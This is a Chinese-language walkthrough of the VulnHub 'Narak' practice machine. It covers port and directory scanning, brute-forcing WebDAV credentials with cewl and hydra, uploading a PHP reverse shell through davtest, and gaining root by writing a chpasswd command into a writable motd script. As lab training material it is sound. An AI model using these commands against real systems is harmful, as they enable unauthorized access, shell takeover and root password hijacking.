VulnHub-Narak

前言

  这是打靶训练的第23周,靶机下载,难度低

信息搜集

  nmap扫描结果

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

  首页全是图片,拉到末尾看见有个链接
  
  点击Do Not Click后,出现这个图片
  
  没啥有用的信息,dirsearch扫描结果

200 -    4KB - /images/
200 -    3KB - /index.html
403 -  278B  - /server-status
403 -  278B  - /server-status/
401 -  460B  - /webdav/
401 -  460B  - /webdav/index.html
401 -  460B  - /webdav/servlet/webdav/

  有个webdav,解释一下,webdav就像一个存储服务,各种应用都可以连接到它,允许应用直接访问我们的云盘内容,对其进行读写操作。
  访问/webdav/,要求登录
  
  那么只有爆破了,这里使用cewl提取网页信息来生成字典,cewl http://192.168.0.149/ -w pwd.txt。之后,使用hydra来爆破hydra -L pwd.txt -P pwd.txt 192.168.0.149 http-get /webdav -v
  

getshell

  使用用户名:yamdoot,密码:Swarg,能成功登录
  
  既然是webdav,那么可以上传文件。使用davtest,来测试是否有上传权限。davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg
  
  通过测试结果可看出,几乎所有的文件都支持上传。只有html、php、txt允许执行。我们可以上传一个反弹shell的php文件。

  cp /usr/share/webshells/php/php-reverse-shell.php .,编辑php-reverse-shell.php文件后
  
  使用davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc shell.php,将本地的php-reverse-shell.php,上传过去命名成shell.php
  
  查看web,上传成功
  
  访问后,拿到shell
  

提权

  提权可以使用CVE-2021-3493。这里使用其他方法提权
  查找拥有root权限,并且其他用户可以可读可修改的文件,find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
  
  有个hell.shcat /mnt/hell.sh得到以下内容

#!/bin/bash

echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

  最后一行稀奇古怪的符号完全看不懂啊,查了下,才知道这是一门叫BrainFuck的编程语言。使用tio.run在线运行,得到下面结果
  
  chitragupt可能是某个账号的密码,查看home文件夹,获取3个账号名
  
  一个一个测试,以inferno用户名,密码chitragupt,ssh成功登录。再次执行find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
  
  update-motd.d这个目录作用就是登录和欢迎信息
  
  既然允许我们写入,那直接改写root密码,vi 00-header,写入echo 'root:123' | chpasswd,当我们下次ssh登录的时候就会将root用户的密码改为123
  
  本次提权使用的是文件权限配置不当提权,也就是常说的suid提权

查看评论 -
评论